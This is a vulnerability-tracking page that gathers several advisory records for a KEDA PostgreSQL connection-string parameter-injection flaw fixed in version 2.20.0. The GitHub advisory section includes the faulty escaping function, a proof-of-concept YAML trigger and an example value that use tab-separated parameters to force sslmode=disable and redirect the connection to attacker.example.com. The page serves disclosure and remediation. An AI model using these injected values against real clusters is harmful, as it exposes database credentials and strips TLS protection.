KEDA: PostgreSQL connection string parameter injection via incomplete whitespace escaping

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

KEDA is a Kubernetes-based Event Driven Autoscaling component. Prior to 2.20.0, pkg/scalers/postgresql_scaler.go constructs libpq-style connection strings from tenant-controlled host, port, userName, dbName, sslmode, and password values, while escapePostgreConnectionParameter() only quotes values containing a literal space. Tabs, newlines, carriage returns, form feeds, vertical tabs, quotes, and backslashes can therefore create additional key-value tokens when pgx parses the string. An attacker able to create or modify a TriggerAuthentication or ScaledObject can inject host or sslmode parameters, redirect the database connection to an attacker-controlled server, expose credentials, or disable intended TLS protection. This issue is fixed in version 2.20.0.

Source published

21 Aug 2026 20:11:56 UTC

Source modified

25 Aug 2026 17:13:43 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 5.9 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

KEDA is a Kubernetes-based Event Driven Autoscaling component. Prior to 2.20.0, pkg/scalers/postgresql_scaler.go constructs libpq-style connection strings from tenant-controlled host, port, userName, dbName, sslmode, and password values, while escapePostgreConnectionParameter() only quotes values containing a literal space. Tabs, newlines, carriage returns, form feeds, vertical tabs, quotes, and backslashes can therefore create additional key-value tokens when pgx parses the string. An attacker able to create or modify a TriggerAuthentication or ScaledObject can inject host or sslmode parameters, redirect the database connection to an attacker-controlled server, expose credentials, or disable intended TLS protection. This issue is fixed in version 2.20.0.

Source published

Aug 21, 2026, 8:11:56 PM (timezone not stated)

Source modified

Aug 25, 2026, 5:13:43 PM (timezone not stated)

Observed here

9 Nov 2026 12:12:12 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 5.9 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

KEDA is a Kubernetes-based Event Driven Autoscaling component. Prior to 2.20.0, pkg/scalers/postgresql_scaler.go constructs libpq-style connection strings from tenant-controlled host, port, userName, dbName, sslmode, and password values, while escapePostgreConnectionParameter() only quotes values containing a literal space. Tabs, newlines, carriage returns, form feeds, vertical tabs, quotes, and backslashes can therefore create additional key-value tokens when pgx parses the string. An attacker able to create or modify a TriggerAuthentication or ScaledObject can inject host or sslmode parameters, redirect the database connection to an attacker-controlled server, expose credentials, or disable intended TLS protection. This issue is fixed in version 2.20.0.

Source published

21 Aug 2026 21:16:59 UTC

Source modified

12 Oct 2026 16:10:00 UTC

Observed here

25 Oct 2026 13:17:16 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 5.9 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

### Summary `pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`: ```go func escapePostgreConnectionParameter(str string) string { if !strings.Contains(str, " ") { return str // returned as-is for any non-space whitespace } str = strings.ReplaceAll(str, "'", "\\'") return fmt.Sprintf("'%s'", str) } ``` The function only escapes when a literal **space** is present. Per libpq/pgx documentation, parameters are also separated by **tabs, newlines, carriage returns, and form feeds**, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\tsslmode=disable\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters. ### Vulnerable code `pkg/scalers/postgresql_scaler.go`, lines 155–164 and 250–257. ### Impact Tenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can: - **Force `sslmode=disable`** on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM. - **Redirect the connection to an attacker-controlled host** (`host=...`) to steal the credentials the operator supplies via the `password=` keyword. - Append arbitrary libpq runtime parameters (`options=`, `application_name=`, `target_session_attrs=`) to pivot behavior. Note: the password parameter is appended **last** in `buildConnArray`, which limits but does not eliminate credential exfiltration — injected `host=` still redirects the subsequent `password=` keyword's target. ### Proof of concept ```yaml triggers: - type: postgresql metadata: host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com" port: "5432" userName: "keda" dbName: "metrics" sslmode: "require" query: "SELECT 1" ``` After `escapePostgreConnectionParameter` (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include `host=attacker.example.com` and `sslmode=disable`. ### Suggested fix - Escape / reject any ASCII whitespace (`\t`, `\n`, `\r`, `\f`, `\v`, space) and backslash. - Prefer the URI form (`postgres://user:pass@host:port/db?sslmode=require`) with proper URL-encoding. - Validate each field against an allow-list pattern before use. ### Resources - `pkg/scalers/postgresql_scaler.go` - libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING

Source published

7 Jul 2026 23:44:13 UTC

Source modified

10 Sep 2026 03:50:51 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

Publisher rating · MODERATE

KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping in github.com/kedacore/keda

Source published

17 Jul 2026 19:42:05 UTC

Source modified

21 Jul 2026 19:15:26 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.